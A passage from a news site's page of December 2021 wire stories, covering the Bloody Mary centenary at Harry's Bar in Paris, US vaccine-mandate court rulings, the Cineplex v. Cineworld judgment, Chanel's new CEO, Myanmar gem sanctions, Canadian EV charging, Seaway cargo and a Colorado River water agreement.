at the counter where Petiot first performed the now well-established ritual 100 years ago, at the dawn of what became known as the roaring 1920s. Harry's Bar plans to host a celebration on Thursday night despite concerns about the spread of omicron variant of the coronavirus in Europe and a surge in new virus infections across France. Franz-Arthur MacElhone, a great-grandson of bar founder Harry MacElhone, said the celebration would take place in line with government regulations: the health passes of patrons from around the world will be checked, hand sanitizers will be distributed, and bar staff will wear masks. In recent days, the French government expanded the places where passes are required, including all restaurants and a growing number of events and venues. To get one, people must show proof of full vaccination, a negative virus test less than 24 hours old, or recent recovery from COVID-19. Bartender Antoine prepares a Bloody Mary cocktail at the Harry's Bar in Paris, Friday, Dec. 10, 2021. Harry's Bar in Paris is celebrating the 100th birthday of the Bloody Mary, the vodka-tomato juice cocktail believed to have been invented in the iconic bar in 1921. The centenary events this week come as a welcome respite from winter gloom and spreading worries about the omicron virus variant. (AP Photo/Rafael Yaghobzadeh) The French government closed nightclubs and tightened social distancing measures but is trying to avoid a new lockdown. The health protocol is the only visible change inside the bar that used to be located on New Yorks 7th Avenue before it was dismantled, shipped to Europe and rebuilt in central Paris in 1911. For Harrys patrons, the timeless decor is a reassuring fixture, particularly at a time of uncertainty due to the pandemic. Once you walk in, you leave all your worries aside, said Ihab Hassan, 61, a retired businessman from Egypt and a regular at the bar since the 1970s. The coronavirus pandemic was not enough to get in the way of his favorite Paris pastime, Hassan said with a bloody mary on the counter in front of him. Franz-Arthur MacElhone, great-grandson of Harry MacElhone, points to an article at Harry's Bar in Paris, Friday, Dec. 10, 2021. Harry's Bar in Paris is celebrating the 100th birthday of the Bloody Mary, the vodka-tomato juice cocktail believed to have been invented in the iconic bar in 1921. The centenary events this week come as a welcome respite from winter gloom and spreading worries about the omicron virus variant. (AP Photo/Rafael Yaghobzadeh) Sitting next to Hassan were an American, Jay Sing, and an Australian, Renee DiGeorgio. They shared their thoughts on the famous cocktail with an Associated Press reporter, acknowledging they had already consumed a few. Sometimes, with breakfast, for my hangover, we drink bloody marys, said DiGeorgio, 42, who works in the mining industry and is based in the Democratic Republic of Congo. This is a really nice bloody mary, he said. Its actually the first time Ive ever drunk a bloody mary when the suns down! All three men said they took the necessary health precautions to be safe and in compliance with government anti-virus regulations. I have four vaccines in me, said Sing, 28, a tech industry worker from New York. Im like the Iron Man. Nothing is touching me! A man stands at the door of Harry's Bar in Paris, Friday, Dec. 10, 2021. Harry's Bar in Paris is celebrating the 100th birthday of the Bloody Mary, the vodka-tomato juice cocktail believed to have been invented in the iconic bar in 1921. The centenary events this week come as a welcome respite from winter gloom and spreading worries about the omicron virus variant. (AP Photo/Rafael Yaghobzadeh) MacElhone, the great-grandson of the bar's founder, recounted different legends surrounding how the bloody mary got its name. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Petiot said it was for a dancer that he was very fond of called Mary, MacElhone explained. She used to work in a place in Chicago called the Bucket of Blood, MacElhone said. But thats only one explanation for the name of the famous drink. There are others, MacElhone said. Theres a Hemingway story, he said. It was just before he got married, and he had been dating somebody called Mary. As that story goes, Hemingway allegedly did not want to have alcohol on his breath and asked for a drink mixed with juice. Tomato juice was added, and while he was drinking it, he was saying bloody Mary, MacElhone said. NEW ORLEANS (AP) A federal appeals court panel on Wednesday lifted a nationwide ban against President Joe Bidens vaccine mandate for health care workers, instead blocking the requirement in only certain states and creating the potential for patchwork enforcement across the country. FILE - President Joe Biden talks about the newly approved COVID-19 vaccine for children ages 5-11 from the South Court Auditorium on the White House complex in Washington, Wednesday, Nov. 3, 2021. On Wedneasday, Dec. 15, 2021, a federal appeals court panel has lifted a nationwide ban against Bidens vaccine mandate for health care workers, instead blocking the requirement in only certain states and leaving a potential patchwork of enforcement across the country. (AP Photo/Susan Walsh, File) NEW ORLEANS (AP) A federal appeals court panel on Wednesday lifted a nationwide ban against President Joe Bidens vaccine mandate for health care workers, instead blocking the requirement in only certain states and creating the potential for patchwork enforcement across the country. The decision by the New Orleans-based 5th U.S. Circuit Court of Appeals kept a preliminary injunction in place for 14 states that had collectively sued in federal court in Louisiana. It altered a Nov. 30 ruling by U.S. District Judge Terry Doughty, who originally applied his order nationwide. A separate preliminary injunction on appeal before the St. Louis-based 8th U.S. Circuit Court of Appeals applies to 10 additional states. That means the vaccine requirement for Medicare and Medicaid providers is blocked by courts in about half states but not in the other half. This vaccine rule is an issue of great significance currently being litigated throughout the country. Its ultimate resolution will benefit from the airing of competing views in our sister circuits, the ruling from three 5th Circuit judges said. At issue is a rule published Nov. 5 by the Centers for Medicare & Medicaid that applied to a wide range of health care providers that receive federal Medicare or Medicaid funding. It required their workers to receive the first dose of a COVID-19 vaccine by Dec. 6 and be fully vaccinated by Jan. 4. It was projected to affect more than 17 million workers in about 76,000 health care facilities as well as home health care providers. The agency said on Dec. 2 that it would not enforce the vaccine rule while court injunctions were in place. It was not immediately clear Wednesday whether the agency would continue to suspend the rule for all states or seek to go ahead with it in states no longer subject to the injunctions. About 85% of adults nationwide already have received at least one dose of a COVID-19 vaccine. But Biden contends his various workforce vaccine mandates are an important step to drive up vaccination rates and contain the virus outbreak, which has killed about 800,000 people in the U.S. Courts that have blocked the mandates for health workers, federal contractors and medium- to-large-sized businesses all have said the Biden administration likely exceeded the executive powers spelled out in law. The administration has continued to say it is on firm legal ground. In upholding Doughtys injunction for the states that sued, the 5th Circuit panel said it appears likely that opponents of the health worker vaccine mandate will prevail as the case moves through the courts. However, the panel also said there are significant differences between the health care vaccine mandate and another vaccine mandate blocked previously in a separate ruling upheld by the 5th Circuit that applied to all businesses employing more than 100 people. Among the key differences, the court said, is that the targeted health care facilities, especially nursing homes, are where COVID-19 has posed the greatest risk. Wednesday's 5th Circuit ruling was issued by judges Leslie Southwick, nominated to the court by President George W. Bush; and James Graves and Gregg Costa, both nominated by President Barack Obama. The 5th Circuit decision blocks the health worker vaccine mandate in Alabama, Arizona, Georgia, Idaho, Indiana, Kentucky, Louisiana, Mississippi, Montana, Ohio, Oklahoma, South Carolina, Utah and West Virginia. The separate case pending before the 8th Circuit blocks the mandate in Alaska, Arkansas, Iowa, Kansas, Missouri, Nebraska, New Hampshire, North Dakota, South Dakota and Wyoming. Also Wednesday, the Cincinnati-based U.S. 6th Circuit Court of Appeals said a three-judge panel rather than the entire court would rule on a challenge to the Biden administrations mandate that all private employers with at least 100 workers require them to be vaccinated or wear masks and face weekly tests. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. That decision is a victory for the Biden administration, which had pushed back against efforts to have all the judges in the panel initially involved. Eleven of the 16 full-time judges in the 6th Circuit were appointed by Republicans. The vote in the 6th Circuit was split, with eight judges wanting the entire panel to hear the case and eight wanting it to stay with three judges. Judge Karen Nelson Moore wrote that the three-judge panel already has devoted time to the case and switching now would subvert our normal process. Chief Judge Jeffrey Sutton disagreed, arguing in a dissent, there is something to be said for putting all hands on deck, particularly when it comes to handling the stay motion. In his dissent, he laid out a case against the administrations authority to issue the mandate. At least for now, the earlier ruling from the 5th Circuit remains in place and the broader business vaccine mandate is on hold nationwide. The federal government has asked for that order to be dissolved. Determining which judges will decide that issue could set the stage for a ruling in the matter. ___ Lieb reported from Jefferson City, Missouri. Associated Press writer Geoff Mulvihill in Cherry Hill, New Jersey, contributed to this report. TORONTO - The Ontario judge who ruled in Cineplex Inc.'s favour in a case against its former suitor Cineworld Group PLC found testimony from the U.K. theatre giant's executives was contradicted by their text messages and other internal documents. Customers buy popcorn at a Cineplex theatre in downtown Toronto on Wednesday, Aug. 26, 2020. THE CANADIAN PRESS/Christopher Katsarov TORONTO - The Ontario judge who ruled in Cineplex Inc.'s favour in a case against its former suitor Cineworld Group PLC found testimony from the U.K. theatre giant's executives was contradicted by their text messages and other internal documents. Judge Barbara Conway said in a decision that Cineworld CEO Mooky Greidinger, his brother Israel Greidinger and chief financial officer Nisan Cohen testified that they had intended to close the $2.18-billion Cineplex deal up until they accused Cineplex of alleged breaches last summer. However, Conway says their communication "paints a very different picture" of executives, who were considering calling off the deal as early as mid-March and by the third week of April had no intention of proceeding with paying $34 per share. "By March, the pressure was on Cineworld to reconsider the transaction. Its share price was collapsing," Conway wrote in her judgment filed Tuesday. "Investors sent panicked emails to Cineworlds executives, urging Cineworld to reconsider and walk away from the Cineplex deal." For example, Steven Levey of ION Asset Management, one of Cineworlds largest shareholders, asked Cohen on March 2 whether his company was thinking of walking away from the deal or at least renegotiating. "Based on where the market is now, there is clearly a case for paying a much lower price," Levey wrote. "There is no way that you would pay that price today. NO WAY." Coehn replied, "We understand and analyzing all options, step by step." Cohen testified that Cineworld was not considering its options, but trying to placate Levey. Conway did not agree. Furthermore, she found Cineworld was long considering dropping the deal because it was facing liquidity concerns and having trouble increasing a revolving credit facility by $110 million. Israel Greidinger testified that many potential lenders for the facility didn't want to increase their exposure to Cineworld during the pandemic and several, including Citizen Bank, continued to seek confirmation that the deal would not proceed. Cohen told the lenders he would explain the situation over the phone, but not in writing. "Considering all of the evidence, I cannot accept the testimony of Messrs. Greidinger and Cohen that Cineworld remained intent on closing the transaction at $34 per share throughout the relevant period," Conway said. The executives ended up in front of a court after Cineworld walked away from its planned takeover of Cineplex in June 2020, alleging Cineplex was responsible for "material adverse effects." Cineplex called it a case of "buyer's remorse" and sued for more than $2.18 billion in damages. Cineworld filed a counter claim valued at about $54.8 million. Conway found Cineplex was not guilty of the alleged breaches and awarded the company damages of $1.24 billion, though Cineworld has since vowed to appeal the decision. Following Conway's decision, Cineplex's stock price closed up 11.6 per cent to $13.14 in Toronto, while Cineworld's dropped by nearly 40 per cent to 27.50 pounds on the London Stock Exchange. Cineworld felt it was free to walk away from the deal because it claimed Cineplex strayed from "ordinary course," when it deferred its accounts payable by at least 60 days, reduced spending to the "bare minimum" and stopped paying landlords, movie studios, film distributors and suppliers at the start of the pandemic. "Ordinary course" is a legal clause frequently appearing in acquisition agreements because it helps companies terminate a deal and limit their risks, if other parties make dramatic moves that upend their operations. Cineplex argued it followed an "ordinary course" for the industry during the pandemic. Deferred payments to landlords, film distributors and suppliers were the norm for the industry during COVID-19 and the delays did not hamper relationships with studio and real estate executives, Cineplex said. It also pointed out the deal had a clause exempting outbreaks of illness or changes affecting the motion picture theatre industry from being considered "material adverse effects." Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Conway agreed and said that Cineplex cannot be seen as defying ordinary course commitments because pandemic mandates issued by the government stymied its normal operations. The economics of the deal did not change because of the deferrals and spending reductions, but because of the pandemic, she wrote. "Because of the pandemic, Cineplex was no longer the attractive deal to Cineworld at $34 per share that it had been," she said. "However, that was the systemic risk that Cineworld assumed when it agreed to exclude the pandemic from the definition of Company Material Adverse Effect." This report by The Canadian Press was first published Dec. 15, 2021. Companies in this story: (TSX:CGX) NEW DELHI (AP) The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. FILE - Models wear creations for the Chanel Spring-Summer 2021 fashion collection during Paris fashion week on Oct. 6, 2020. The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. (Photo by Vianney Le Caer/Invision/AP, File) NEW DELHI (AP) The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. Nair tweeted that she was "humbled and honored to be appointed the Global Chief Executive Officer of @CHANEL, an iconic and admired company." The news made a huge splash Wednesday in India, Nairs birthplace, where she received scores of congratulations and compliments to her announcement, one calling her a "serial glass-ceiling breaker." The appointment is full of "historic firsts," said Abhay Gupta, CEO and founder of consultancy group Luxury Connect in India. FILE - French actress Joana Preiss poses in front of the logo of Chanel fashion house before Chanel Spring-Summer 2021 fashion collection presented Tuesday, Oct. 6, 2020 in Paris. The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. (AP Photo/Francois Mori, File) "I am elated. This is the first time an Indian is heading a global luxury brand, that too an Indian woman, and its the first time a fashion industry outsider has been picked," he said. People of Indian origin are at the helm of a number of global tech, finance and other companies, but the same cant be said for luxury brands. Gupta, who also runs a school for luxury management, said his students would be "inspired" by the news. "Its very encouraging and motivating, especially since we havent seen this before. Coming from a non-luxury background, I expect shell bring fresh perspective its a sign that things are changing," he said. While Nair, 52, is not a part of the Paris fashion scene, Chanel has a wide range of products in addition to its high fashion designs, including eyeglasses, watches and makeup. Nair is succeeding billionaire co-owner and chairman of privately held Chanel, Alain Wertheimer, as CEO. A grandson of Chanel co-founder Pierre Wertheimer, he remains as global executive chairman of the fashion house. People walk past a Chanel boutique Wednesday, Dec. 15, 2021 in Paris. The French luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. (AP Photo/Christophe Ena) In a press announcement, Chanel said Nair's hiring "will further ensure long-term success as a private company." Nair is due to step into her new role in January and shell be based in London. British consumer goods giant Unilever describes Nair as its first woman, first Asian and youngest chief human resources officer. She joined Unilever in 1992 in India and advanced up the ranks, spending time at the company's factories early on. Nair's appointment is "a welcome change from the kind of formulaic model of the executives that tend to run major luxury brands," said Imran Amed, founder and CEO of the Business of Fashion, an influential industry news website. While its not uncommon for fashion brands to tap people from consumer goods companies for senior jobs, they usually come from marketing departments because of their expertise in managing brands a luxury fashion companys most important asset. But Chanels decision to hire Nair, with her lengthy background in human resources, underscores the companys efforts to adapt to evolving consumer and workplace attitudes toward sustainability and diversity, Amed said. Rivals like Kering, which owns Gucci and Yves Saint Laurent, have moved faster to stake out "leadership positions" when it comes to both rising consumer awareness of the industrys environmental impact and the importance of inclusive hiring as they battle for talent, Amed said. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Nair has "really been focused on these kinds of topics during her time at Unilever," Amed said. "I think that that signals a really important challenge for Chanel as it seeks to modernize its corporate culture." Her appointment is seen back home as a sign of the rising stature of Indian business leaders. It's also a milestone for women, because so few of them head up big luxury brands, Amed said. In her social media posts, Nair, who is married to financial entrepreneur Kumar Nair and has two sons, has described India-born former PepsiCo CEO Indra Nooyi as a friend and mentor. Nair herself recently was awarded the Great British Businesswoman Role Model of the Year award while Nooyi was last week named the 2022 recipient of the International Distinguished Entrepreneur Award. But she is not the first woman to be CEO of Chanel. Earlier, Francoise Montenay and American Maureen Chiquet held that role. And of course, the co-founder of Maison de Chanel was a woman, the late Gabrielle "Coco" Chanel. ___ AP Business Writers Kurtenbach reported from Bangkok and Kelvin Chan contributed from London. TORONTO - Some of the most active companies traded Wednesday on the Toronto Stock Exchange: Toronto Stock Exchange (20,769.16, up 120.59 points.) Enbridge Inc. (TSX:ENB). Energy. Down 44 cents, or 0.9 per cent, to $47.60 on 13.9 million shares. Cenovus Energy Inc. (TSX:CVE). Energy. Down two cents, or 0.1 per cent, to $15.12 on 12.1 million shares. Suncor Energy Inc. (TSX:SU). Energy. Up three cents, or 0.1 per cent, to $30.20 on 11.3 million shares. Crescent Point Energy Corp. (TSX:CPG). Energy. Down three cents, or 0.5 per cent, to $6.04 on 9.8 million shares. Bombardier Inc. (TSX:BBD.B). Industrials. Down one cent, or 0.6 per cent, to $1.62 on 7.3 million shares. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Canadian Natural Resources (TSX:CNQ). Energy. Up 11 cents, or 0.2 per cent, to $50.86 on 6.9 million shares. Companies in the news: National Bank (TSX:NA). Down $1.08 or 1.1 per cent to $95.28. National Bank is the latest financial institution to delay its plans to have more employees return to the office as concerns increase about the highly transmissible Omicron variant of COVID-19. Bank spokesman Jean-Francois Cadieux said Wednesday that the bank has asked employees to avoid the office as it closely monitors the evolving situation. Over the longer term, the bank plans to stick to a strategy of opening gradually and voluntarily, said Cadieux. Before the latest announcement, about 15 per cent of employees were back in corporate offices. The change in plans comes as COVID-19 cases from the Omicron variant are rising, which prompted the Ontario government on Friday to ask employers to make every effort to allow employees to work from home. The Bank of Nova Scotia said earlier this week that it was putting a hold on its planned Jan. 17 return to the office and will reassess timing in the new year. Sun Life Financial Inc. also said this week that it has put a pause on expanding its return-to-office pilot program. Cineplex Inc. (TSX:CGX). Up $1.37 or 11.6 per cent to $13.14. The Ontario judge who ruled in Cineplex Inc.'s favour in a case against its former suitor Cineworld Group PLC found testimony from the U.K. theatre giant's executives was contradicted by their text messages and other internal documents. Judge Barbara Conway said in a decision that Cineworld CEO Mooky Greidinger, his brother Israel Greidinger and chief financial officer Nisan Cohen testified that they had intended to close the $2.18-billion Cineplex deal up until they accused Cineplex of alleged breaches last summer. However, Conway says their communication "paints a very different picture" of executives, who were considering calling off the deal as early as mid-March and by the third week of April had no intention of proceeding with paying $34 per share. Conway said investors sent panicked emails to Cineworlds executives, urging them to reconsider and walk away from the Cineplex deal. Cineworld walked away from its planned takeover of Cineplex in June 2020, alleging Cineplex was responsible for "material adverse effects." Cineplex called it a case of "buyer's remorse" and sued for more than $2.18 billion in damages. Cineworld filed a counter claim valued at about $54.8 million. Conway found Cineplex was not guilty of the alleged breaches and awarded the company damages of $1.24 billion, though Cineworld has since vowed to appeal the decision. Canopy Growth Corp. (TSX:WEED). Up 17 cents or 1.4 per cent to $11.92. Canopy Growth Corp. says it has signed a deal to sell its C3 Cannabinoid Compound Company GmbH subsidiary to German company Dermapharm Holding SE. Under the agreement, Canopy will receive an upfront payment of $115.5 million. It will also receive up an additional $61.4 million, subject to the achievement of certain milestones by the business. Dermapharm is a European pharmaceutical company based in Gruenwald, Germany. The business being sold develops and manufactures pharmaceutical products and includes Spectrum Therapeutics GmbH, THC Pharm GmbH The Health Concept and Spectrum Therapeutics Austria GmbH. The deal, which requires regulatory approvals, is expected to close by Jan. 31, 2022 . This report by The Canadian Press was first published Dec. 15, 2021. BANGKOK (AP) Human rights activists are lobbying major jewelers to stop buying gems sourced in Myanmar as a way to exert pressure on Myanmars military leaders by limiting profits from the countrys lucrative mining industry. FILE - A merchant examines a jade stone displayed at the Gems Emporium in Naypyitaw, Myanmar on Nov. 13, 2018. Human rights activists are lobbying major jewelers to stop buying gems sourced in Myanmar as a way to exert pressure on Myanmars military leaders by limiting profits from the countrys lucrative mining industry. (AP Photo/Aung Shine Oo, File) BANGKOK (AP) Human rights activists are lobbying major jewelers to stop buying gems sourced in Myanmar as a way to exert pressure on Myanmars military leaders by limiting profits from the countrys lucrative mining industry. A report by the group Global Witness released Wednesday outlines how the army is involved in gemstone mining despite a moratorium on new licenses put in place before the military seized power on Feb. 1, ousting the government of Nobel Peace laureate Aung San Suu Kyi. It comes as legislation is pending in the U.S. Congress, the Burma Act of 2021, which would prohibit all U.S. imports of Myanmar gemstones. There is no such thing as an ethically sourced Burmese ruby, Clare Hammond, senior Myanmar campaigner at Global Witness, said in a statement. These gemstones are sold as symbols of human connection and affection, yet the supply chain is steeped in corruption and horrific human rights abuses. Last week, luxury jeweler Harry Winston announced it would no longer buy gemstones with Burmese origins regardless of when they were imported. Indian jewelry company Vaibhav Global said in late November it had removed all listings of products including Myanmar gems while it investigates their sourcing. Vaibhav's products are sold widely online, including on Amazon, Overstock and Walmart's sites. Tiffany & Co. never resumed using Burmese gems after U.S. sanctions against Myanmar were lifted in 2016 when the country was in the midst of political and economic reforms following decades of military rule. Cartier, Signet Jewelers - the owner of the Zales, Kay Jewelers and Jared chains - and Boodles also have declared they are not sourcing gemstones from Myanmar. But prized Burmese pigeon blood" rubies and other beautiful gemstones are easily available on many e-commerce sites, as are costly items of jewelry adorned with gems from strife-torn Mogok and other mining areas. Global Witness and other groups are urging all retailers of gems and jewelry to follow suit in halting purchases and sales of such products, describing the jade and gemstone sector as one of the military's most important sources of funding, especially following the takeover 10 months ago that has ignited widespread political turmoil. Smuggling and illicit sales make it hard to know exactly how big the industry is, but revenues from sales of jade, pearls and gemstones are estimated to run into the billions of dollars. Myanmar's natural resource wealth is proving to be a lifeline for the generals," the report says. For decades the military has consolidated its rule by looting the countrys valuable natural resources.'' Confronted with widespread public opposition to their seizure of power, the military has engaged in mass torture, launched attacks on medics and forcibly disappeared thousands of people. Since February, soldiers and police have killed at least 1,300 people and arrested more than 10,800, according to the Assistance Association for Political Prisoners, which monitors deaths and arrests. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Two state-run Myanmar conglomerates, Myanmar Economic Corp. and Myanma Economic Holdings Ltd., dominate the jade and gems trade through various subsidiaries. Other gem traders are thought be associates of Senior Gen. Min Aung Hlaing, who led the military takeover. The U.S. and other governments have imposed sanctions on some military-affiliated companies, army leaders and their families. One of the companies subject to sanctions is Myanma Gems Enterprise, which is in charge of licenses and permits for mining gems and jade and collects revenues from their sale. The Global Witness report, which analyzed official data, estimates that the gemstone industry alone generated revenues of $346 million to $415 million when it was in full operation, though much of the gems trade is conducted through illicit channels. Suu Kyi's government suspended renewing or granting new licenses in 2016 and the last existing license expired in 2020. So mining activity now is unauthorized, or at least not based on publicly disclosed licensing. Much of the mining is in Mogok township, where most of Myanmar's rubies, sapphires and other gems are unearthed. With big operators not in business, mining is mostly done by hand under perilous conditions, the report said. Many gemstones are processed in Thailand and by the time they are imported their origin has become unclear, it said. OTTAWA - When Wilf Steimle makes the 600-kilometre drive from his home near Barrie, Ont., to board meetings in Montreal, he can get there in under seven hours with three 12-minute stops to repower his electric car. Petro Canada's electric vehicle charging station is shown on display at the Canadian International Auto Show, in Toronto, Thursday, Feb. 14, 2019. There are more than 15,000 publicly available chargers in 6,800 locations across Canada already, and the federal Liberals are promising to spend $700 million to build at least 50,000 more by the end of 2026. THE CANADIAN PRESS/Christopher Katsarov OTTAWA - When Wilf Steimle makes the 600-kilometre drive from his home near Barrie, Ont., to board meetings in Montreal, he can get there in under seven hours with three 12-minute stops to repower his electric car. Between the Greater Toronto Area and Montreal, there are at least four dozen high-speed charging stations. Most of them able to charge between two and four vehicles at a time. But Steimle, president of the Electric Vehicle Society, said it's nowhere close to enough. By 2030, the federal government wants half of all new passenger vehicles sold to be zero-emission vehicles. It wants to get to 100 per cent by 2035. In 2020, only 3.5 per cent of new vehicles were battery-only or plug-in hybrids. Steimle said persuading Canadians to make the switch rests heavily on convincing them that there will be a charging station available when they need it and that it won't delay their road trips. "Studies in Europe and slowly the beginnings of studies in North America, seasoned EV owners consistently say range doesn't matter," Steimle told The Canadian Press. "What they care about is reliable access to fast charging." Natural Resources Canada has mapped out more than 15,000 publicly available electric vehicle chargers, in 6,800 locations, countrywide. About 3,000 of the chargers are DC fast, which means they can typically add between 250 and 300 kilometres of battery range in an hour. The rest are Level 2, capable of adding about 30 kilometres of range in an hour. For the average Canadian, who drives less than 50 kilometres a day, Level 2 chargers are more than enough. Most people could rely almost entirely on charging overnight at home. For rural Canadians, those going on longer road trips, urban delivery drivers, taxis and the like, DC fast is the only realistic option. But the charging network is very uneven. Almost 85 per cent of the DC fast charging connections publicly available are in Quebec, Ontario and British Columbia. More than 90 per cent of the publicly available Level 2 chargers are in those three provinces. Cara Clairman, president of the electric vehicle advocacy group Plug'n Drive, said it's a chicken-or-egg issue. There is not a big business case to build chargers in places where there aren't enough cars that are going to use them. More than 204,000 battery-electric and plug-in hybrid cars have been registered in Canada since 2011. All but 8,000 of those were in Ontario, B.C. and Quebec. "The Montreal-Toronto corridor gets so many cars and so there's a business case there for the chargers," she said. "That's why we need government funding." Provincial governments have varying incentives to help drivers install chargers at home. A few have public charging incentives too. Hydro One and Ontario Power Generation just announced they will be adding new public chargers at the highway rest stops known as ONroutes, with all but three of the 23 refuelling stations to be equipped by the end of next year. Since 2016, Ottawa alone has spent close to $200 million installing more than 17,000 new charging connectors. Many are still under construction and there is nearly $180 million budgeted to double that number of charging connectors over the next three years. Some of those are public, but others are also in apartment blocks and condo buildings. The Liberals promised another $700 million during the election campaign to build another 50,000 chargers but haven't yet detailed how that money will be allocated. Eighty-two per cent of the new chargers funded to date are also in B.C., Quebec and Ontario, slightly higher than the 75 per cent population share for those provinces. While Steimle's drive between the Greater Toronto Area and Montreal has many options for stopping at a DC fast charger, the same can't be said for other road trips. A similar 600-kilometre drive from Winnipeg to Regina shows only six DC fast options along the Trans-Canada Highway. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Environment Minister Steven Guilbeault said in a recent interview with The Canadian Press that he is well aware of the charging-station deserts that exist. Guilbeault, who has never owned a personal car, uses a battery-electric Chevrolet Bolt as his ministerial vehicle. Guilbeault's driver has planned routes and the timing of the frequent commute between the minister's home in Montreal and Parliament Hill in Ottawa, based on where she could find a fast charging station to power up. "There are no fast charging stations to speak of in either downtown Ottawa or downtown Montreal," he said. "So we have to carefully plan our trips and we have to stop in the suburbs or my driver has to stop before she comes to Montreal in the suburbs to charge so we have enough. So, it is clearly an issue." Guilbeault said fixing the charging station issue is not rocket science. "Our goal is to substantially increase the network across the country so that in the very near future this won't be an issue anymore," he said. "Frankly, we're not sending someone to the moon, it's a very simple technical issue." This report by The Canadian Press was first published Dec. 15, 2021. LONDON, Ont. - The organization that oversees the St. Lawrence Seaway says general cargo shipments have surged 71 per cent so far this operating season, helping to offset a weakened grain crop. Ice floats past ships in the Welland Canal near Lock 8 in Port Colborne, Ont., on March 28, 2014. THE CANADIAN PRESS/Aaron Lynett LONDON, Ont. - The organization that oversees the St. Lawrence Seaway says general cargo shipments have surged 71 per cent so far this operating season, helping to offset a weakened grain crop. The St. Lawrence Seaway Management Corp. says shipments including steel, aluminum and oversized machinery totalled 3.4 million tonnes between March 22 and Nov. 30, up from just over two million tonnes a year earlier. In addition, iron ore shipments were up 17.3 per cent to 6.5 million tonnes, while dry bulk shipments including construction materials like stone, cement and gypsum increased 5.7 per cent to 9.7 million tonnes. Iron ore and steel shipments surpassed 2019 pre-pandemic levels due to growth in domestic consumer product manufacturing and construction. Coal shipments fell nine per cent to 1.9 million tonnes while liquid bulk was off 0.8 per cent to 2.8 million tonnes. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Overall, cargo shipments increased 1.7 per cent to 33.3 million tonnes as grain exports have shrunk due to smaller harvests. Grain shipments decreased 19.6 per cent to nearly nine million tonnes and dropped to the second largest category. Excluding grain, overall tonnage was up 13 per cent. The 2021 season has been an impressive story of recovery and growth in some of our key markets," stated Seaway CEO Terence Bowles. "December, as always, is a critical month for our waterway as manufacturers stockpile raw materials and grain/potash exporters get their final products to market before the Seaway closes for winter." The Montreal-Lake Ontario section of the Seaway closes Dec. 31, while the Welland Canal will remain open until Jan. 7 to facilitate domestic shipping between Lake Ontario and the Upper Great Lakes. Ships arriving this month at the Port of Thunder Bay will load grain and potash for export to Europe. Shipments of the fertilizer are up more than 200,000 tonnes or 70 per cent over 2020 volumes. This report by The Canadian Press was first published Dec. 15, 2021. LAS VEGAS (AP) Water leaders in Arizona, Nevada and California signed an agreement Wednesday to voluntarily reduce their take from the Colorado River to help stave off mandatory cuts in the upcoming years. FILE - A buoy rests on the ground at a closed boat ramp on Lake Mead at the Lake Mead National Recreation Area near Boulder City, Nev., on Aug. 13, 2021. To help stave off another round of mandatory cutbacks, water leaders for Arizona, Nevada and California are preparing to sign an agreement on Wednesday, Dec. 15, 2021, that would voluntarily reduce water to the lower Colorado River basin states by 500,000 acre-feet for both 2022 and 2023. (AP Photo/John Locher, File) LAS VEGAS (AP) Water leaders in Arizona, Nevada and California signed an agreement Wednesday to voluntarily reduce their take from the Colorado River to help stave off mandatory cuts in the upcoming years. The signing took place at the Colorado River Water Users Association annual meeting in Las Vegas, amid urgency to negotiate new rules for managing the dwindling river which serves 40 million people beyond 2026, when current guidelines and an overlapping drought plan expire. The newest agreement, known as the 500+ Plan, requires the states to cut 500,000 acre-feet in 2022 and 2023, or enough to serve 1 million to 1.5 million households annually, depending on water usage and conservation in the area. It also requires financial investment from the states $40 million from Arizona, and $20 million each from Nevada, California and the Central Arizona Project, which operates a canal system that delivers Colorado River water in Arizona. The federal government would match the funding, for a total of $200 million. The money would fund water efficiency projects and programs to reduce usage throughout Arizona, Nevada and California, which are in the river's lower basin. The Interior Department joined the states and other water users in making the announcement. The stop-gap measure upstaged what water managers had hoped to be the focus of the Las Vegas gathering the start of negotiations for the next plan. That will have to wait, U.S. Bureau of Reclamation Commissioner Camille Touton told attendees over video conference. We need to focus on near-term operational challenges, she said. Exactly how much water each state will contribute under the 500+ Plan is still being negotiated. The three states' share of Colorado River water is delivered through the country's largest reservoir, Lake Mead. The lake fell below 1,075 feet (327 meters) above sea level this year, triggering mandatory cuts for Arizona, Nevada and Mexico in 2022. The states had volunteered to cut back on water before that threshold hit under a 2019 drought contingency plan. Arizona relied heavily on compensated water contributions from the Colorado River Indian Tribes and the Gila River Indian Community to fulfill its obligations under the drought plan. It's expected to do the same for the 500+ Plan. The reservoir is so low now that everyone realizes that they are vulnerable, said Ted Cooke, general manager of the Central Arizona Project. As a junior water rights holder, Arizona takes the biggest hit during any federal shortage declarations for the lower basin. Cooke said there won't be time for a do-over if Arizona 